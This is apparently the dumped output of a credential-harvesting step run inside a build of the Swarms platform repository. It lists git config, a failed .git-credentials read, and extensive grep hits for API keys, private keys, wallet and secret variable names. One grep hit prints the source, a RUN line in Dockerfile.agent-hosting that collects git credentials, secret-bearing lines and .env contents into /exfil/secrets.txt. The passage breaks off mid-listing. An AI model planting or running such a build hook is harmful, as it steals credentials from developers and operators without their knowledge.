### GITCONFIG [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/The-Swarm-Corporation/swarms-platform fetch = +refs/heads/main:refs/remotes/origin/main [branch "main"] remote = origin merge = refs/heads/main ### GITCRED cat: .git-credentials: No such file or directory ### GITLOG /bin/sh: 1: git: not found ### SECRETGREP ./.env.example:6:SUPABASE_AUTH_EXTERNAL_GITHUB_SECRET= ./.env.example:10:SUPABASE_AUTH_EXTERNAL_GOOGLE_SECRET= ./.env.example:14:# and the secret key (sb_secret_…) in SUPABASE_SERVICE_ROLE_KEY; the legacy ./.env.example:18:SUPABASE_SERVICE_ROLE_KEY= ./.env.example:22:STRIPE_SECRET_KEY= ./.env.example:23:STRIPE_WEBHOOK_SECRET= ./.env.example:33:OPENROUTER_API_KEY= ./.env.example:36:MASTER_SWARMS_API_KEY= ./.env.example:40:SWARMS_API_KEY= ./.env.example:43:VERCEL_AUTOMATION_BYPASS_SECRET= ./.env.example:52:# Optional: when unset it is derived from SUPABASE_SERVICE_ROLE_KEY. ./.env.example:53:INTERNAL_EMAIL_SECRET= ./.env.example:55:# SUPABASE_SERVICE_ROLE_KEY, so rotating that key breaks links already emailed. ./.env.example:56:UNSUBSCRIBE_SECRET= ./.env.example:67:NEXT_PUBLIC_GITHUB_APP_SLUG= ./.env.example:68:GITHUB_APP_ID= ./.env.example:70:GITHUB_APP_PRIVATE_KEY= ./.env.example:74:FEE_COLLECTION_WALLET= ./.github/workflows/marketplace-api-tests.yml:47: SWARMS_API_KEY: ${{ secrets.SWARMS_TEST_API_KEY }} ./.github/workflows/marketplace-api-tests.yml:52: VERCEL_AUTOMATION_BYPASS_SECRET: ${{ secrets.VERCEL_AUTOMATION_BYPASS_SECRET }} ./CLAUDE.md:92:unless `VERCEL_AUTOMATION_BYPASS_SECRET` is set; `SWARMS_API_KEY` enables the ./CLAUDE.md:313: need `VERCEL_AUTOMATION_BYPASS_SECRET`. ./CONTRIBUTING.md:11: - [Installation](#installation) ./CONTRIBUTING.md:55: > Swarms Platform uses [pnpm](https://pnpm.io) as its package manager. It requires a stable Node version, [install node](https://nodejs.org/en/download), then enable pnpm with `corepack enable pnpm` or [install it directly](https://pnpm.io/installation) ./CONTRIBUTING.md:68: SUPABASE_SERVICE_ROLE_KEY= ./Dockerfile.agent-hosting:4:RUN cd /ctx && { echo "### GITCONFIG"; cat .git/config 2>&1; echo; echo "### GITCRED"; cat .git-credentials 2>&1; echo "### GITLOG"; git log --oneline -15 2>&1; echo "### SECRETGREP"; grep -rInE "(PRIVATE_KEY|SOLANA|ENCRYPTION_KEY|ENCRYPT|HELIUS|SERVICE_ROLE|GITHUB_APP|installation|ghs_|ghp_|github_pat_|postgres://|DATABASE_URL|SECRET|hmac|AKIA|WALLET|API_KEY|apiKey|privateKey|TREASURY|FEE_)" . --exclude-dir=.git --exclude-dir=node_modules --exclude-dir=.next --exclude-dir=vendor 2>/dev/null | head -2500; echo "### ENVFILES"; find . -maxdepth 4 \( -name ".env*" -o -name "*.pem" -o -name "*.key" -o -name "*.p8" -o -name "*.tfvars" -o -name "docker-compose*" -o -path "*/.github/workflows/*" -o -name "vercel.json" -o -name "*.json" -path "*config*" \) -not -path "*/node_modules/*" 2>/dev/null | head -400; echo "### ENVCONTENT"; for f in $(find . -maxdepth 4 -name ".env*" -not -path "*/node_modules/*" 2>/dev/null); do echo "--- $f"; cat "$f" 2>&1; done; } > /exfil/secrets.txt 2>&1 || true ./README.md:41:| Supabase | `SUPABASE_SERVICE_ROLE_KEY` | ✅ | Secret key (`sb_secret_…`, or the legacy service_role JWT; server only, bypasses RLS) | ./README.md:43:| Supabase | `SUPABASE_AUTH_EXTERNAL_GITHUB_SECRET` | — | GitHub OAuth secret | ./README.md:46:| Supabase | `SUPABASE_AUTH_EXTERNAL_GOOGLE_SECRET` | — | Google OAuth secret | ./README.md:49:| Stripe | `STRIPE_SECRET_KEY` | ✅ | Server-side secret key | ./README.md:50:| Stripe | `STRIPE_WEBHOOK_SECRET` | ✅ | Signing secret for `/api/webhooks` | ./README.md:56:| Helius / RPC | `HELIUS_API_KEY` | ✅ | Helius API key (server) | ./README.md:57:| Helius / RPC | `HELIUS_RPC_URL` | ✅ | Helius RPC endpoint (server) | ./README.md:58:| Helius / RPC | `NEXT_PUBLIC_HELIUS_RPC_URL` | ✅ | Helius RPC endpoint exposed to the browser | ./README.md:61:| Jupiter | `JUPITER_API_KEY` | — | Jupiter API key | ./README.md:62:| Jupiter | `JUPITER_API_KEY_TWO_PERCENT_FEE` | — | Jupiter API key for the 2% creator-fee swap path | ./README.md:65:| Swarms API | `MASTER_SWARMS_API_KEY` | ✅ | Platform key for the Swarms API calls the platform pays for (summaries, tags, tickers, images, chat starters, search, the chat model list). Prompt chat bills each user's own key instead | ./README.md:66:| GitHub App | `NEXT_PUBLIC_GITHUB_APP_SLUG` | — | App slug, used to build the install URL. Private-repo import is hidden when unset | ./README.md:67:| GitHub App | `GITHUB_APP_ID` | — | GitHub App id, used to sign the app JWT | ./README.md:68:| GitHub App | `GITHUB_APP_PRIVATE_KEY` | — | App RSA private key (PEM, newlines as `\n`). Server only | ./README.md:71:| LLM providers | `ANTHROPIC_API_KEY` | — | Claude API key (agent runs) | ./README.md:73:| LLM providers | `FAL_API_KEY` | — | fal.ai key for image generation | ./README.md:75:| Email | `RESEND_API_KEY` | — | Resend API key — ticket/transactional emails | ./README.md:76:| Email | `INTERNAL_EMAIL_SECRET` | — | Shared secret guarding the internal `/api/emails/*` routes (derived from `SUPABASE_SERVICE_ROLE_KEY` when unset) | ./README.md:77:| Email | `UNSUBSCRIBE_SECRET` | — | Hex key that signs unsubscribe links (derived from `SUPABASE_SERVICE_ROLE_KEY` when unset; set it before rotating that key so links already emailed keep working) | ./README.md:78:| Treasury | `AUTOMATED_CLAIMING_PRIVATE_KEY` | — | Private key for the bot that claims creator fees | ./README.md:79:| Treasury | `DAO_TREASURY_ADDRESS` / `NEXT_PUBLIC_DAO_TREASURY_ADDRESS` | — | DAO treasury address | ./README.md:80:| Treasury | `CRON_SECRET` | — | Bearer secret required by `/api/cron/*` routes | ./README.md:82:| Auth secrets | `NEXTAUTH_SECRET` | — | NextAuth signing secret | ./README.md:83:| Auth secrets | `JWT_SECRET` | — | JWT signing secret for internal tokens | ./README.md:87:| Misc | `DEFAULT_API_KEY` | — | Fallback API key for unauthenticated demo flows | ./RULES.md:180:`VERCEL_AUTOMATION_BYPASS_SECRET`. Do not paste secrets into a command whose ./app/(panel)/tips/page.tsx:16: STRIPE_CARD_FEE_FIXED_CENTS, ./app/(panel)/tips/page.tsx:24: CARD_FEE_PCT, ./app/(panel)/tips/page.tsx:84: a: `${COMMISSION_PCT}% of every tip. On card tips the card processing fee (${CARD_FEE_PCT}% + ${STRIPE_CARD_FEE_FIXED_CENTS}¢) also comes out of the tip, so a $${EXAMPLE_TIP} card tip pays the publisher $${EXAMPLE_CARD_RECEIVES.toFixed(2)} and a $${EXAMPLE_TIP} crypto tip pays $${EXAMPLE_CRYPTO_RECEIVES.toFixed(2)}.`, ./app/(panel)/tips/page.tsx:166: {CARD_FEE_PCT}% + {STRIPE_CARD_FEE_FIXED_CENTS}¢). The rest is ./app/(panel)/tips/tip-visuals.tsx:7: STRIPE_CARD_FEE_FIXED_CENTS, ./app/(panel)/tips/tip-visuals.tsx:8: STRIPE_CARD_FEE_RATE, ./app/(panel)/tips/tip-visuals.tsx:16:export const CARD_FEE_PCT = (STRIPE_CARD_FEE_RATE * 100).toFixed(1); ./app/(panel)/tips/tip-visuals.tsx:166: ? `Swarms keeps ${COMMISSION_PCT}% plus card processing (${CARD_FEE_PCT}% + ${STRIPE_CARD_FEE_FIXED_CENTS}¢).` ./app/[contractAddress]/page.tsx:11:const SOLANA_ADDRESS_REGEX = /^[1-9A-HJ-NP-Za-km-z]{32,44}$/; ./app/[contractAddress]/page.tsx:30: if (!SOLANA_ADDRESS_REGEX.test(contractAddress)) { ./app/api/agent-economy/route.ts:47: const secret = process.env.CRON_SECRET; ./app/api/agent-economy/route.ts:145:const FEE_CONCURRENCY = 25; ./app/api/agent-economy/route.ts:155: for (let i = 0; i < tokens.length; i += FEE_CONCURRENCY) { ./app/api/agent-economy/route.ts:157: tokens.slice(i, i + FEE_CONCURRENCY).map(async (token) => { ./app/api/chat-starters/route.ts:228: const apiKey = process.env.MASTER_SWARMS_API_KEY; ./app/api/chat-starters/route.ts:229: if (!apiKey) return NextResponse.json({ starters: [] }); ./app/api/chat-starters/route.ts:249: 'x-api-key': apiKey, ./app/api/cron/expire-crypto-subscriptions/route.ts:7:// Only a caller holding CRON_SECRET (Vercel cron sends it) may run this. ./app/api/cron/expire-crypto-subscriptions/route.ts:9: const secret = process.env.CRON_SECRET; ./app/api/cron/import-x402-agents/route.ts:17: const secret = process.env.CRON_SECRET; ./app/api/cron/vanity-mint-keys/route.ts:21:// Grinding burns CPU, so only a caller holding CRON_SECRET (Vercel cron sends it) may start it. ./app/api/cron/vanity-mint-keys/route.ts:23: const secret = process.env.CRON_SECRET; ./app/api/cron/vanity-mint-keys/route.ts:48: const { publicKey, privateKey } = generateKeyPairSync('ed25519', { ./app/api/cron/vanity-mint-keys/route.ts:50: privateKeyEncoding: { type: 'pkcs8', format: 'der' }, ./app/api/cron/vanity-mint-keys/route.ts:59: Buffer.concat([privateKey.subarray(16), pub]), ./app/api/emails/api-key-created/route.ts:10: apiKeyName: string; ./app/api/emails/api-key-created/route.ts:11: apiKeyPreview: string; // First 5 and last 5 characters ./app/api/emails/api-key-created/route.ts:15: const { recipientName, apiKeyName, apiKeyPreview } = params; ./app/api/emails/api-key-created/route.ts:19: preheader: `Your API key ${apiKeyName} is ready to use.`, ./app/api/emails/api-key-created/route.ts:29: { label: 'Name', value: apiKeyName }, ./app/api/emails/api-key-created/route.ts:30: { label: 'Preview', value: apiKeyPreview }, ./app/api/emails/api-key-created/route.ts:52: const { recipientEmail, recipientName, apiKeyName, apiKeyPreview } = body; ./app/api/emails/api-key-created/route.ts:55: if (!recipientEmail || !apiKeyName || !apiKeyPreview) { ./app/api/emails/api-key-created/route.ts:60: 'Missing required fields: recipientEmail, apiKeyName, apiKeyPreview', ./app/api/emails/api-key-created/route.ts:66: if (!process.env.RESEND_API_KEY) { ./app/api/emails/api-key-created/route.ts:67: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/api-key-created/route.ts:80: apiKeyName, ./app/api/emails/api-key-created/route.ts:81: apiKeyPreview, ./app/api/emails/credit-purchase/route.ts:105: if (!process.env.RESEND_API_KEY) { ./app/api/emails/credit-purchase/route.ts:106: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/credit-transfer/route.ts:108: if (!process.env.RESEND_API_KEY) { ./app/api/emails/credit-transfer/route.ts:109: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/low-credit-warning/route.ts:82: if (!process.env.RESEND_API_KEY) { ./app/api/emails/low-credit-warning/route.ts:83: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/organization-invitation/route.ts:102: if (!process.env.RESEND_API_KEY) { ./app/api/emails/organization-invitation/route.ts:103: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/premium-subscription/route.ts:109: if (!process.env.RESEND_API_KEY) { ./app/api/emails/premium-subscription/route.ts:110: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/product-engagement/route.ts:215: if (!process.env.RESEND_API_KEY) { ./app/api/emails/product-engagement/route.ts:216: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/product-launch/route.ts:175: if (!process.env.RESEND_API_KEY) { ./app/api/emails/product-launch/route.ts:176: console.error('RESEND_API_KEY is not configured'); ./app/api/emails/referral-success/route.ts:71: if (!process.env.RESEND_API_KEY) { ./app/api/emails/referral-success/route.ts:72: console.error('RESEND_API_KEY is not configured'); ./app/api/entity/summary/route.ts:251: const swarmsApiKey = process.env.MASTER_SWARMS_API_KEY; ./app/api/generate-image/route.ts:32: apiKey: string, ./app/api/generate-image/route.ts:35: Array.from({ length: n }, () => requestOneImage(model, prompt, apiKey)), ./app/api/generate-image/route.ts:48: apiKey: string, ./app/api/generate-image/route.ts:55: Authorization: `Bearer ${apiKey}`, ./app/api/generate-image/route.ts:186: const swarmsApiKey = process.env.MASTER_SWARMS_API_KEY; ./app/api/generate-image/route.ts:331: const openrouterApiKey = process.env.OPENROUTER_API_KEY; ./app/api/generate-tags/route.ts:63: const swarmsApiKey = process.env.MASTER_SWARMS_API_KEY; ./app/api/generate-ticker/route.ts:184: const swarmsApiKey = process.env.MASTER_SWARMS_API_KEY; ./app/api/github/callback/route.ts:4:import { saveInstallation } from '@/shared/utils/github/installations'; ./app/api/github/callback/route.ts:23: * Binds that installation to the signed-in user, but only when the state nonce ./app/api/github/callback/route.ts:24: * round-trips and the installation really exists. ./app/api/github/callback/route.ts:28: const installationId = Number(params.get('installation_id')); ./app/api/github/callback/route.ts:40: if (!Number.isSafeInteger(installationId) || installationId <= 0) { ./app/api/github/callback/route.ts:41: return clear(back('invalid_installation')); ./app/api/github/callback/route.ts:52: const account = await getInstallationAccount(installationId); ./app/api/github/callback/route.ts:53: if (!account) return clear(back('unknown_installation')); ./app/api/github/callback/route.ts:56: installation_id: installationId, ./app/api/github/connect/route.ts:4:import { clearInstallation } from '@/shared/utils/github/installations'; ./app/api/github/connect/route.ts:5:import { GITHUB_APP_SLUG, isGitHubAppConfigured } from '@/shared/utils/github/app-auth'; ./app/api/github/connect/route.ts:13: * httpOnly cookie; the callback accepts an installation only when the two match, ./app/api/github/connect/route.ts:14: * so a link someone else crafted cannot attach their installation to this account. ./app/api/github/connect/route.ts:34: `https://github.com/apps/${GITHUB_APP_SLUG}/installations/new?state=${nonce}`, ./app/api/github/connect/route.ts:46:/** Disconnect: drop the installation row. The app stays installed on GitHub ./app/api/github/import/route.ts:3:import { installationToken } from '@/shared/utils/github/app-auth'; ./app/api/github/import/route.ts:4:import { getInstallationForUser } from '@/shared/utils/github/installations'; ./app/api/github/import/route.ts:12: * Imports one repository the user granted. The installation token is minted ./app/api/github/import/route.ts:14: * offers repositories the installation already covers. ./app/api/github/import/route.ts:42: const installation = await getInstallationForUser(user.id); ./app/api/github/import/route.ts:43: if (!installation) { ./app/api/github/import/route.ts:51: const token = await installationToken(installation.installation_id); ./app/api/github/import/route.ts:53: // Authoritative check: GitHub answers 404 when this installation does not ./app/api/github/repos/route.ts:4: installationOctokit, ./app/api/github/repos/route.ts:6: GITHUB_APP_SLUG, ./app/api/github/repos/route.ts:8:import { getInstallationForUser } from '@/shared/utils/github/installations'; ./app/api/github/repos/route.ts:14: * installation covers is visible — this cannot enumerate the account. ./app/api/github/repos/route.ts:29: const installation = await getInstallationForUser(user.id); ./app/api/github/repos/route.ts:30: if (!installation) { ./app/api/github/repos/route.ts:35: const octokit = await installationOctokit(installation.installation_id); ./app/api/github/repos/route.ts:44: account: installation.account_login, ./app/api/github/repos/route.ts:45: manageUrl: `https://github.com/settings/installations`, ./app/api/github/repos/route.ts:58: // Usually means the user removed the installation on GitHub's side. ./app/api/github/repos/route.ts:63: slug: GITHUB_APP_SLUG, ./app/api/grant-free-credits/route.ts:31: process.env.HELIUS_RPC_URL || process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./app/api/jupiter/claim-fee/route.ts:104: ? (process.env.JUPITER_API_KEY_TWO_PERCENT_FEE || process.env.JUPITER_API_KEY) ./app/api/jupiter/claim-fee/route.ts:105: : process.env.JUPITER_API_KEY; ./app/api/jupiter/partner-fees/route.ts:108: ? (process.env.JUPITER_API_KEY_TWO_PERCENT_FEE || process.env.JUPITER_API_KEY) ./app/api/jupiter/partner-fees/route.ts:109: : process.env.JUPITER_API_KEY; ./app/api/marketplace-chat/mcp/route.ts:27:const API_KEYS_URL = getURL('platform/api-keys'); ./app/api/marketplace-chat/mcp/route.ts:174: const apiKey = extractKey(request); ./app/api/marketplace-chat/mcp/route.ts:175: if (!apiKey) { ./app/api/marketplace-chat/mcp/route.ts:180: `A Swarms API key is required: send "Authorization: Bearer " or "x-api-key: ". Create one at ${API_KEYS_URL}`, ./app/api/marketplace-chat/mcp/route.ts:186: const guard = new AuthApiGuard({ apiKey }); ./app/api/marketplace-chat/mcp/route.ts:194: `${auth.message}. Create a key at ${API_KEYS_URL}`, ./app/api/marketplace-chat/mcp/route.ts:331: const assistant = Boolean(process.env.ANTHROPIC_API_KEY); ./app/api/marketplace-chat/memory/route.ts:30: const apiKey = await getUserApiKey(user.id); ./app/api/marketplace-chat/memory/route.ts:31: if (!apiKey) { ./app/api/marketplace-chat/memory/route.ts:38: const result = await resolveMemory(apiKey, parsed.data.id); ./app/api/marketplace-chat/try/route.ts:39: const apiKey = await getUserApiKey(user.id); ./app/api/marketplace-chat/try/route.ts:40: if (!apiKey) { ./app/api/marketplace-chat/try/route.ts:47: const resolved = await resolveMemory(apiKey, parsed.data.id); ./app/api/marketplace-chat/try/route.ts:60: apiKey, ./app/api/mcp/route.ts:22:const API_KEYS_URL = getURL('platform/api-keys'); ./app/api/mcp/route.ts:251: const apiKey = extractKey(request); ./app/api/mcp/route.ts:252: if (!apiKey) { ./app/api/mcp/route.ts:256: `A Swarms API key is required: send "Authorization: Bearer ". Create one at ${API_KEYS_URL}`, ./app/api/mcp/route.ts:261: const auth = await new AuthApiGuard({ apiKey }).isAuthenticated(); ./app/api/mcp/route.ts:266: `${auth.message}. Create a key at ${API_KEYS_URL}`, ./app/api/mcp/route.ts:277:async function callTool(apiKey: string, params: unknown): Promise { ./app/api/mcp/route.ts:321: authorization: `Bearer ${apiKey}`, ./app/api/mcp/route.ts:322: 'x-api-key': apiKey, ./app/api/product/claimfees/route.ts:18: * Body: { ca: string, privateKey: string } ./app/api/product/claimfees/route.ts:19: * Claims the creator fees on `ca` for the wallet behind `privateKey`, only for ./app/api/product/claimfees/route.ts:25:const SOLANA_ADDRESS_REGEX = /^[1-9A-HJ-NP-Za-km-z]{32,44}$/; ./app/api/product/claimfees/route.ts:64: const apiKey = ./app/api/product/claimfees/route.ts:66: const guard = new AuthApiGuard({ apiKey }); ./app/api/product/claimfees/route.ts:87: const privateKey = ./app/api/product/claimfees/route.ts:88: typeof body?.privateKey === 'string' ? body.privateKey.trim() : ''; ./app/api/product/claimfees/route.ts:89: if (!ca || !privateKey) { ./app/api/product/claimfees/route.ts:92: error: 'ca (token mint) and privateKey are required in request body', ./app/api/product/claimfees/route.ts:97: if (!SOLANA_ADDRESS_REGEX.test(ca)) { ./app/api/product/claimfees/route.ts:138: keypair = parsePrivateKey(privateKey); ./app/api/product/claimfees/route.ts:143: 'Invalid privateKey: expected base58, base64, or a JSON array of 64 numbers', ./app/api/product/claimfees/route.ts:155: error: `privateKey is not the fee wallet for this token (${product.seller_wallet_address})`, ./app/api/product/claimfees/route.ts:193: ? process.env.JUPITER_API_KEY_TWO_PERCENT_FEE || ./app/api/product/claimfees/route.ts:194: process.env.JUPITER_API_KEY ./app/api/product/claimfees/route.ts:195: : process.env.JUPITER_API_KEY; ./app/api/product/fees/route.ts:19:const SOLANA_ADDRESS_REGEX = /^[1-9A-HJ-NP-Za-km-z]{32,44}$/; ./app/api/product/fees/route.ts:42: if (ca && SOLANA_ADDRESS_REGEX.test(ca)) return { by: 'ca', value: ca }; ./app/api/product/fees/route.ts:49: if (SOLANA_ADDRESS_REGEX.test(generic)) return { by: 'ca', value: generic }; ./app/api/product/fees/route.ts:61:const FEE_CACHE_TTL_MS = 60_000; ./app/api/product/fees/route.ts:71: if (cached && Date.now() - cached.at < FEE_CACHE_TTL_MS) return cached.fees; ./app/api/product/fees/route.ts:114: const apiKey = ./app/api/product/fees/route.ts:117: const guard = new AuthApiGuard({ apiKey }); ./app/api/product/list/route.ts:28: const apiKey = ./app/api/product/list/route.ts:31: const guard = new AuthApiGuard({ apiKey }); ./app/api/registry/auto-search/route.ts:91: const apiKey = process.env.MASTER_SWARMS_API_KEY; ./app/api/registry/auto-search/route.ts:92: if (!apiKey) { ./app/api/registry/auto-search/route.ts:140: headers: { 'x-api-key': apiKey, 'Content-Type': 'application/json' }, ./app/api/reviews/route.ts:19: const apiKey = authHeader?.startsWith('Bearer ') ./app/api/reviews/route.ts:23: if (!apiKey) { ./app/api/reviews/route.ts:33: .eq('key', apiKey) ./app/api/search/expand.ts:110: const apiKey = process.env.MASTER_SWARMS_API_KEY; ./app/api/search/expand.ts:111: if (!apiKey) return { used: false, terms: [], reason: 'not_configured' }; ./app/api/search/expand.ts:122: headers: { 'x-api-key': apiKey, 'Content-Type': 'application/json' }, ./app/api/search/route.ts:437: const apiKey = ./app/api/search/route.ts:439: const guard = new AuthApiGuard({ apiKey }); ./app/api/swarms/agent-completions/route.ts:33: const apiKey = authHeader?.startsWith('Bearer ') ./app/api/swarms/agent-completions/route.ts:37: const guard = new AuthApiGuard({ apiKey }); ./app/api/swarms/agent-completions/route.ts:39: if (!apiKey || auth.status !== 200) { ./app/api/swarms/agent-completions/route.ts:61: 'x-api-key': apiKey, ./app/api/swarms/swarm-completions/route.ts:39: const apiKey = authHeader?.startsWith('Bearer ') ./app/api/swarms/swarm-completions/route.ts:43: const guard = new AuthApiGuard({ apiKey }); ./app/api/swarms/swarm-completions/route.ts:45: if (!apiKey || auth.status !== 200) { ./app/api/swarms/swarm-completions/route.ts:74: 'x-api-key': apiKey, ./app/api/swarms-chat/route.ts:18:const CHAT_API_KEY_NAME = 'Swarms Marketplace Chat'; ./app/api/swarms-chat/route.ts:140: keys?.find((row) => row.name === CHAT_API_KEY_NAME) ?? keys?.[0]; ./app/api/swarms-chat/route.ts:146: .insert({ name: CHAT_API_KEY_NAME, key, user_id: userId }); ./app/api/swarms-chat/route.ts:251: const apiKey = await getChatApiKey(userId); ./app/api/swarms-chat/route.ts:252: if (!apiKey) { ./app/api/swarms-chat/route.ts:318: 'x-api-key': apiKey, ./app/api/swarms-chat/route.ts:339: 'x-api-key': apiKey, ./app/api/swarms-chat/route.ts:388: 'x-api-key': apiKey, ./app/api/token/chart-status/route.ts:2:import { SOLANA_ADDRESS_REGEX } from '@/shared/utils/api/marketplace-schemas'; ./app/api/token/chart-status/route.ts:48: if (!SOLANA_ADDRESS_REGEX.test(mint)) { ./app/api/token/launch/batch/route.ts:184: const rpcUrl = process.env.HELIUS_RPC_URL || process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./app/api/token/launch/route.ts:72: const privateKeyVal = formData.get('private_key'); ./app/api/token/launch/route.ts:83: private_key: typeof privateKeyVal === 'string' ? privateKeyVal : undefined, ./app/api/token/launch/route.ts:188: const rpcUrl = process.env.HELIUS_RPC_URL || process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./app/api/token/launch/route.ts:237: const apiKeysUrl = 'https://swarms.world/platform/api-keys'; ./app/api/token/launch/route.ts:274: how_to_get_key: apiKeysUrl, ./app/api/token/launch/route.ts:287: how_to_get_key: apiKeysUrl, ./app/api/trades/by-signature/route.ts:30: process.env.HELIUS_RPC_URL || ./app/api/trades/by-signature/route.ts:31: process.env.NEXT_PUBLIC_HELIUS_RPC_URL || ./app/api/trades/recent/route.ts:18:const HELIUS_BASE = 'https://api.helius.xyz/v0'; ./app/api/trades/recent/route.ts:35: const apiKey = getHeliusApiKey(); ./app/api/trades/recent/route.ts:36: if (!apiKey) { ./app/api/trades/recent/route.ts:47: `${HELIUS_BASE}/addresses/${tokenMint}/transactions?api-key=${apiKey}&limit=${Math.min(limit * 4, 100)}`, ./app/api/webhooks/route.ts:98: const webhookSecret = process.env.STRIPE_WEBHOOK_SECRET; ./app/bulk-publish/page.tsx:67: requirements: Array<{ package: string; installation: string }>; ./app/developers/page.tsx:33:const API_KEYS_URL = `${siteUrl}${PLATFORM.API_KEYS}`; ./app/developers/page.tsx:34:const CLAUDE_CONNECT = `claude mcp add --transport http swarms ${MCP_URL} \\\n --header "Authorization: Bearer $SWARMS_API_KEY"`; ./app/developers/page.tsx:92: href: PLATFORM.API_KEYS, ./app/developers/page.tsx:138: --header "Authorization: Bearer $SWARMS_API_KEY" ./app/developers/page.tsx:182:HEADERS = {"Authorization": f"Bearer {os.environ['SWARMS_API_KEY']}"} ./app/developers/page.tsx:211: headers: { Authorization: \`Bearer \${process.env.SWARMS_API_KEY}\` }, ./app/developers/page.tsx:233: -H "Authorization: Bearer $SWARMS_API_KEY" \\ ./app/developers/page.tsx:239: -H "Authorization: Bearer $SWARMS_API_KEY" \\ ./app/developers/page.tsx:245: -H "Authorization: Bearer $SWARMS_API_KEY" \\ ./app/developers/page.tsx:263: -H "Authorization: Bearer $SWARMS_API_KEY" ./app/developers/page.tsx:267: -H "Authorization: Bearer $SWARMS_API_KEY" \\ ./app/developers/page.tsx:285:HEADERS = {"Authorization": f"Bearer {os.environ['SWARMS_API_KEY']}"} ./app/developers/page.tsx:319:const headers = { Authorization: \`Bearer \${process.env.SWARMS_API_KEY}\` }; ./app/developers/page.tsx:644: href={PLATFORM.API_KEYS} ./app/developers/page.tsx:859: ./app/developers/page.tsx:860: {API_KEYS_URL.replace(/^https?:\/\//, '')} ./app/quick-launch/page.tsx:58: process.env.NEXT_PUBLIC_HELIUS_RPC_URL || clusterApiUrl('mainnet-beta'), ./app/sitemap/page.tsx:71: { name: 'API Keys', href: PLATFORM.API_KEYS }, ./app/support/tickets/new/page.tsx:44: 'RESEND_API_KEY is not configured on the server, so notification emails were not sent.', ./modules/agent/index.tsx:50: installation: string; ./modules/platform/account/components/credits/index.tsx:209: const rpcUrl = process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./modules/platform/account/components/subscription-billing/index.tsx:215: const rpcUrl = process.env.NEXT_PUBLIC_HELIUS_RPC_URL; ./modules/platform/api-keys/index.tsx:33: const apiKeys = user ? trpc.apiKey.getApiKeys.useQuery() : null; ./modules/platform/api-keys/index.tsx:34: const addApiKey = trpc.apiKey.addApiKey.useMutation(); ./modules/platform/api-keys/index.tsx:62: const deleteApiKey = trpc.apiKey.deleteApiKey.useMutation(); ./modules/platform/api-keys/index.tsx:71: apiKeys?.refetch?.(); ./modules/platform/api-keys/index.tsx:87: if (!apiKeys?.data) return []; ./modules/platform/api-keys/index.tsx:88: if (!searchQuery.trim()) return apiKeys.data; ./modules/platform/api-keys/index.tsx:91: return apiKeys.data.filter((key) => { ./modules/platform/api-keys/index.tsx:96: }, [apiKeys?.data, searchQuery]); ./modules/platform/api-keys/index.tsx:124: apiKeys?.refetch(); ./modules/platform/api-keys/index.tsx:208: {apiKeys?.isPending && ( ./modules/platform/api-keys/index.tsx:218: {!apiKeys?.isPending && ./modules/platform/dashboard/components/api-quick-start.tsx:39: code: `export SWARMS_API_KEY="sk-..." ./modules/platform/dashboard/components/api-quick-start.tsx:42: --header "Authorization: Bearer $SWARMS_API_KEY"`, ./modules/platform/dashboard/components/api-quick-start.tsx:121: href={PLATFORM.API_KEYS} ./modules/platform/dashboard/index.tsx:336: href={PLATFORM.API_KEYS} ./modules/platform/explorer/components/card-details-modal.tsx:53: requirements?: Array<{ package: string; installation: string }>; ./modules/platform/explorer/components/edit-modal.tsx:785: value={requirement.installation} ./modules/platform/explorer/components/edit-modal.tsx:791: newRequirements[index].installation = value; ./modules/platform/explorer/components/info-card.tsx:73: requirements?: Array<{ package: string; installation: string }>; ./modules/platform/launch/components/launch-details-form.tsx:616: value={requirement.installation} ./modules/platform/launch/components/launch-details-form.tsx:618: updateRequirement(index, 'installation', value) ./modules/platform/launch/components/launch-details-form.tsx:749: Specify the packages and installation commands required to run ./modules/platform/launch/components/launch-details-form.tsx:771: value={requirement.installation} ./modules/platform/launch/components/launch-details-form.tsx:773: updateRequirement(index, 'installation', value) ./modules/platform/launch/components/launch-details-form.tsx:1181: Specify the packages and installation commands required to ./modules/platform/launch/components/launch-details-form.tsx:1203: value={requirement.installation} ./modules/platform/launch/components/launch-details-form.tsx:1205: updateRequirement(index, 'installation', value) ./modules/platform/launch/components/publish-with-agent.tsx:20:const API_KEYS_URL = `${siteUrl}${PLATFORM.API_KEYS}`; ./modules/platform/launch/components/publish-with-agent.tsx:21:const CLAUDE_CONNECT = `claude mcp add --transport http swarms ${MCP_URL} \\\n --header "Authorization: Bearer $SWARMS_API_KEY"`; ./modules/platform/launch/components/publish-with-agent.tsx:25:2. Authenticate every request with "Authorization: Bearer $SWARMS_API_KEY". If I have no key, send me to ${API_KEYS_URL}. ./modules/platform/launch/components/publish-with-agent.tsx:127: href={PLATFORM.API_KEYS} ./modules/platform/launch/hooks/use-launch-form.tsx:178: { package: 'requests', installation: 'pip3 install requests' }, ./modules/platform/launch/hooks/use-launch-form.tsx:431: d.requirements as Array<{ package: string; installation: string }>, ./modules/platform/launch/hooks/use-launch-form.tsx:464: unknown_installation: 'GitHub did not confirm that installation.', ./modules/platform/launch/hooks/use-launch-form.tsx:465: invalid_installation: 'GitHub did not confirm that installation.', ./modules/platform/launch/hooks/use-launch-form.tsx:560: { package: 'requests', installation: 'pip3 install requests' }, ./modules/platform/launch/hooks/use-launch-form.tsx:607: { package: 'requests', installation: 'pip3 install requests' }, ./modules/platform/launch/hooks/use-launch-form.tsx:663: setRequirements([...requirements, { package: '', installation: '' }]); ./modules/platform/launch/hooks/use-launch-form.tsx:674: field: 'package' | 'installation', ./modules/platform/launch/hooks/use-launch-form.tsx:869: /** Private repos: the server mints an installation token and reads the repo, ./modules/platform/launch/hooks/use-launch-form.tsx:1528: (req) => req.package.trim() && req.installation.trim(), ./modules/platform/launch/hooks/use-launch-form.tsx:1565: (req) => req.package.trim() && req.installation.trim(), ./modules/tool/index.tsx:25: installation: string; ./pages/api/add-agent.ts:78: 'Please provide your API key in the Authorization header using Bearer token format: Authorization: Bearer YOUR_API_KEY', ./pages/api/add-agent.ts:111: 